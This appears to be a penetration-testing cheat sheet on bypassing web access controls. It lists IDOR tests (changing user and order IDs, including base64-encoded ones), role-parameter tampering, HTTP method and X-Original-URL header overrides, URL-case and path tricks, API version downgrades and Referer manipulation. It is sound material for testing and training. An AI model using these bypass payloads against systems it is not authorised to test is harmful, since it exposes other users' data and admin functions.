Access Control
Bypass authorization to access resources or actions you shouldn't be able to.
Methodology
- 1Map all roles and their permissions
- 2Test horizontal access control (user A accessing user B's data)
- 3Test vertical access control (user accessing admin functions)
- 4Test for IDOR (Insecure Direct Object References)
- 5Check for missing access controls on API endpoints
Detailed Steps
Change IDs in requests:
shell
GET /api/user/profile?id=1001 → change to id=1002
GET /api/orders/12345 → change to /api/orders/12346
GET /download?file=report_1001.pdf → report_1002.pdfTest with:
- Sequential IDs (1, 2, 3...)
- UUIDs (try common patterns)
- Encoded values (base64 decode, modify, re-encode)
- GUIDs/UUIDs from other users
bash
# Base64 IDOR
echo "user_id=1001" | base64 → dXNlcl9pZD0xMDAx
echo "user_id=1002" | base64 → dXNlcl9pZD0xMDAyDirect URL access:
shell
/admin
/admin/users
/admin/delete-user
/api/admin/settings
/management
/internalParameter-based:
shell
POST /update-profile
role=admin
admin=true
isAdmin=1
access_level=administratorMethod-based (try different HTTP methods):
shell
GET /admin/delete-user → 403
POST /admin/delete-user → 200?
POSTX /admin/delete-user → 200? (method override)Header-based override:
shell
X-Original-URL: /admin/delete-user
X-Rewrite-URL: /admin/delete-userAccess other users' data:
- Login as User A
- Browse to your profile/data and note the identifiers
- Change identifiers to User B's
shell
GET /api/messages?user_id=myid → change to other user's ID
GET /account/settings?uid=100 → uid=101
POST /transfer {"from": "my_account", "to": "target"} → change "from"Check for:
- Unpredictable but discoverable IDs
- Leaking user IDs in other endpoints
- Referrer header leaking IDs
URL-based access control bypass:
shell
/admin → 403
/Admin → 200
/ADMIN → 200
/admin/ → 200
/admin. → 200
/admin%20 → 200
/./admin → 200
/admin..;/ → 200 (Spring framework)API versioning bypass:
shell
/api/v2/admin/users → 403
/api/v1/admin/users → 200 (older version may lack controls)Content-Type manipulation:
shell
GET /admin → 403
GET /admin.json → 200
GET /admin.xml → 200Some apps check the Referer header for access control:
shell
GET /admin/delete-user?id=1
Referer: https://target.com/admin
→ Remove Referer header
→ Change Referer to expected valueTest by:
- Removing the Referer header entirely
- Setting Referer to /admin when accessing admin sub-pages
- Using a crafted page that sets the Referer
Tools
Burp SuiteAutorize (Burp Extension)ffuf